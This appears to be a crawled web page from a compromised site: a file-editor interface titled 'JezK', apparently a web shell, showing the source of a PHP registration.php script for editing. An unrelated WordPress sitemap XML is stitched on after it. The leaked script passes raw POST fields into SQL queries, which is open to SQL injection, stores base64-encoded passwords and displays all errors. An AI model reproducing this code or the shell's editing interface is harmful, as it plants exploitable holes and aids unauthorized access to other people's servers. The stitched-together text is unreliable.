
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: registration.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
//echo 'sfsdf'; exit;
include '../events/db_connection.php';
//include 'vendor/autoload.php';
//include  'email.php';
$company_name = $_POST['company_name'];
//echo $company_name; exit;
$address1 = $_POST['address1'];
$address2 = $_POST['address2'];
$address3 = $_POST['address3'];
$city = $_POST['city'];
$state = $_POST['state'];
$zip = $_POST['zip'];
$country = $_POST['country'];
$mobile = $_POST['mobile'];
$fax = $_POST['fax'];
$website = $_POST['website'];
$vat = $_POST['vat'];
$first_name = $_POST['first_name'];
$last_name = $_POST['last_name'];
$job_title = $_POST['job_title'];
$email = $_POST['email'];
$terms_accept = $_POST['terms_accept'];
$sql = &quot;SELECT MAX(id) AS max_id FROM register&quot;;
$result = $conn-&gt;query($sql);
$data = $result-&gt;fetch_assoc();
$Unique_ID = $data['max_id'] + 1;
$unique_id = &quot;REIA00&quot; . $Unique_ID;
$date = date('Y-m-d');
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$randomString = '';
$n = 10;
for ($i = 0; $i &lt; $n; $i++) {
    $index = rand(0, strlen($characters) - 1);
    $randomString .= $characters[$index];
}
$str = $randomString;
$password = base64_encode($str);

$check_email = (&quot;SELECT `email` from `register` WHERE `email` = '$email' &quot;);
$result1 = $conn-&gt;query($check_email);
$rowcount = mysqli_num_rows($result1);
if ($rowcount == 0) {
    $stmt = (&quot;INSERT INTO register (`reg_id`,`company_name`,`address1`,`address2`,`address3`,`city`,`state`,`zip`, `country`,`mobile`,`fax`,`website`,`vat`,`first_name`,`last_name`,`job_title`,`email`,`password`, `terms_accept`, `date`) VALUES ('$unique_id','$company_name','$address1','$address2','$address3','$city','$state','$zip','$country','$mobile','$fax','$website','$vat','$first_name','$last_name','$job_title','$email','$password','$terms_accept','$date')&quot;);
    $insert_data = $conn-&gt;query($stmt);
    $lastInsertId = mysqli_insert_id($conn);
    //echo $lastInsertId; exit;
    $user_details = $conn-&gt;query(&quot;SELECT * FROM `register` WHERE `id` = '$lastInsertId' &quot;);
    $user_data = $user_details-&gt;fetch_assoc();
    $email = $user_data['email'];
    $name = $user_data['first_name'];
    $reg_id = $user_data['reg_id'];
    include 'email.php';
    send_email($email,$name);
    send_email_client($email,$name,$reg_id);
    if ($insert_data === TRUE) {
        echo 1;

    } else {
        echo 0;
    }

} else {
    echo 2;
}


?&gt;</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://satyadevaresidency.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-gallery-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-posts-testimonial-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://satyadevaresidency.com/wp-sitemap-taxonomies-gallery_cat-1.xml</loc></sitemap></sitemapindex>
